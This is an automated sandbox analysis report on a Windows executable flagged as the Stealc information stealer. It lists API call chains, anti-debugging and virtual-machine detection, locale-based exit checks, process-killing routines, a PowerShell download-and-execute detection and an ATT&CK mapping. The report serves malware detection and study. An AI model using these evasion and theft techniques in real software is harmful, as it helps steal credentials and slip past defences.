GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_00419F20

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0042A378 push eax; retf	7_2_0042A39D
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0041B335 push ecx; ret	7_2_0041B348
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02519280 push ecx; ret	7_2_02519293
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024AB59C push ecx; ret	7_2_024AB5AF

Source: uxnkmJzTjK.exe

Static PE information: section name: .text entropy: 7.614482012952397

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

7_2_00419F20

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_7-46026

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

API coverage: 9.8 %

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	7_2_004140F0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	7_2_0040E530
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	7_2_0040BE40
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	7_2_0040EE20
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_00414B60
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	7_2_00413B00
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0040DF10
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_00401710
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	7_2_004147C0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	7_2_0040DB80
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0040F7B0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A4357 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	7_2_024A4357
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249F087 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	7_2_0249F087
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249C0A7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	7_2_0249C0A7
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249E177 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0249E177
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249E797 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	7_2_0249E797
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249FA17 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0249FA17
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A4A27 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	7_2_024A4A27
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02491977 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_02491977
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A3D67 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	7_2_024A3D67
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A4DC7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_024A4DC7
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249DDE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	7_2_0249DDE7

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00418060 GetSystemInfo,wsprintfA,

7_2_00418060

Source: uxnkmJzTjK.exe, 00000007.00000002.1570628123.0000000000833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|#*H
Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: uxnkmJzTjK.exe, 00000007.00000002.1570628123.0000000000809000.00000004.00000020.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570628123.0000000000833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: uxnkmJzTjK.exe, 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware#
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: uxnkmJzTjK.exe, 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-46014
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-46011
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-46054
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-47195
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-46031
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-46025
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-46032
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	API call chain: ExitProcess graph end node	graph_7-45853

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_0041B058

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00404610 VirtualProtect ?,00000004,00000100,00000000

7_2_00404610

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

7_2_00419F20

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00419AA0 mov eax, dword ptr fs:[00000030h]	7_2_00419AA0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02330083 push dword ptr fs:[00000030h]	7_2_02330083
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249092B mov eax, dword ptr fs:[00000030h]	7_2_0249092B
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A9D07 mov eax, dword ptr fs:[00000030h]	7_2_024A9D07
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02490D90 mov eax, dword ptr fs:[00000030h]	7_2_02490D90

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,KiUserExceptionDispatcher,InternetCloseHandle,InternetCloseHandle,

7_2_00405000

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0041B058
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0041D21A SetUnhandledExceptionFilter,	7_2_0041D21A
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_0041B63A
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024AB2BF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_024AB2BF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024AD481 SetUnhandledExceptionFilter,	7_2_024AD481
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024AB8A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_024AB8A1

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: uxnkmJzTjK.exe PID: 6444, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,	7_2_004198E0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	7_2_00419790
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A9B47 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,	7_2_024A9B47
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A99F7 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	7_2_024A99F7

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_024D6A0F cpuid

7_2_024D6A0F

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		7_2_00417D20
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		7_2_024A7F87

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00418CF0 GetSystemTime,

7_2_00418CF0

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

7_2_004179E0

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

7_2_00417BC0

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.2490e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.2490e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.uxnkmJzTjK.exe.2570000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.uxnkmJzTjK.exe.2570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uxnkmJzTjK.exe PID: 6444, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.2490e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.2490e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.uxnkmJzTjK.exe.2570000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.uxnkmJzTjK.exe.2570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uxnkmJzTjK.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uxnkmJzTjK.exe PID: 6444, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 Create Account	11 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
